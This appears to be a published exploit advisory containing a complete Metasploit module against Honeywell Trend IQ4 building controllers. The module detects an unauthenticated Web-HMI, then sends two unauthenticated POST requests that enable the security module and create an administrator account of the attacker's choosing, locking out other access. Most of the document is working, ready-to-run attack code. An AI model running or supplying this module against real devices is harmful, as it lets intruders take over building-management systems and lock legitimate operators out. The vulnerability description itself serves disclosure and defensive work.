============================================================================================================================================= | # Title : Honeywell Trend IQ4 Unauthenticated Admin Creation – Metasploit Module | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) | | # Vendor : https://buildings.honeywell.com/gb/en/products/by-brand/trend/iq4-controllers | ============================================================================================================================================= [+] Summary : This Metasploit module targets a default unauthenticated access vulnerability in Honeywell International Inc. specifically affecting the Trend IQ4 controller series. The vulnerability allows unauthenticated access to the device's Web-HMI interface when authentication is not enforced. By exploiting this condition, an attacker can: Enable the Security Module Create a new Administrator account Enforce authentication on the device Disable unrestricted public access [+] Affected Models IQ4E IQ412 IQ422 IQ4NC IQ41x IQ3 IQECO [+] Affected Firmware Versions 4.36 (build 4.3.7.9) 4.34 (build 4.3.5.14) 3.52 (build 3.5.3.15) 3.50 3.44 [+] POC : ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super(update_info(info, 'Name' => 'Honeywell Trend IQ4 Unauthenticated Admin Creation', 'Description' => %q{ This module exploits an insecure default configuration in Honeywell Trend IQ4 controllers. By default, these devices do not enforce authentication, allowing a remote user to enable the User Module and create a new administrative account. Note: This action permanently changes the device configuration and enforces authentication, effectively locking out unauthenticated access. }, 'Author' => [ 'indoushka' ], 'License' => MSF_LICENSE, 'References' => [ [ 'ZSL', '2026-5979' ], [ 'URL', 'https://www.zeroscience.mk/en/vulnerabilities/ZSL-2026-5979.php' ] ], 'DisclosureDate' => '2025-03-03', 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ CONFIG_CHANGES, ACCOUNT_LOCKOUTS, IOC_IN_LOGS ] }, 'Targets' => [ [ 'Honeywell Trend IQ4 Series (Web Management)', {} ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'SSL' => false, 'WfsDelay' => 5 } )) register_options([ OptString.new('TARGETURI', [true, 'Base path to the Web-HMI', '/']), OptString.new('USERNAME', [true, 'New Admin Username', 'bms_admin']), OptString.new('PASSWORD', [true, 'New Admin Password', 'P@ssw0rd123!']), Opt::RPORT(10001) ]) end def check res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path.to_s, 'U.htm'), 'method' => 'GET' }) return CheckCode::Unknown('Target did not respond.') if res.nil? content_type = res.headers['Content-Type'] || '' body = res.body || '' if res.code == 200 && content_type.include?('text/html') if body.include?('ActionModuleEntireReference') && body.include?('ovrideStart') return CheckCode::Vulnerable('Web-HMI is exposed and unauthenticated.') end elsif [401, 403].include?(res.code) return CheckCode::Safe('Authentication is already enforced.') end CheckCode::Safe end def exploit uri_confirm = normalize_uri(target_uri.path.to_s, 'confirmAction.htm') uri_user = normalize_uri(target_uri.path.to_s, 'U.htm') print_status("Step 1/2: Enforcing security module configuration...") res_enable = send_request_cgi({ 'uri' => uri_confirm, 'method' => 'POST', 'vars_post' => { 'Action' => 'Create', 'ActionModuleEntireReference' => 'U', 'ActionFields' => '$|req,W|req|conf', 'ovrideStart' => '0' } }) fail_with(Failure::Unreachable, 'Connection lost during module activation.') if res_enable.nil? unless [200, 301, 302].include?(res_enable.code) print_error("Unexpected status code received: #{res_enable.code}") end print_status("Step 2/2: Injecting administrator credentials: #{datastore['USERNAME']}...") res_admin = send_request_cgi({ 'uri' => uri_user, 'method' => 'POST', 'vars_post' => { 'U0($)newVal' => datastore['USERNAME'], 'U0(W)newVal' => datastore['PASSWORD'], 'U0(W)confVal' => datastore['PASSWORD'], 'U0($)req' => '1', 'U0(W)req' => '1', 'Action' => 'Create', 'ServerCommand' => 'Create', 'ModuleFullName'=> 'U' } }) fail_with(Failure::Unreachable, 'Connection lost during credential injection.') if res_admin.nil? if [200, 301, 302].include?(res_admin.code) print_good("Admin account created successfully.") print_warning("Note: The device is now secured. Use your new credentials to access the HMI.") else fail_with(Failure::UnexpectedReply, "Account creation failed. Status: #{res_admin.code}") end end end Greetings to :============================================================================== jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)| ============================================================================================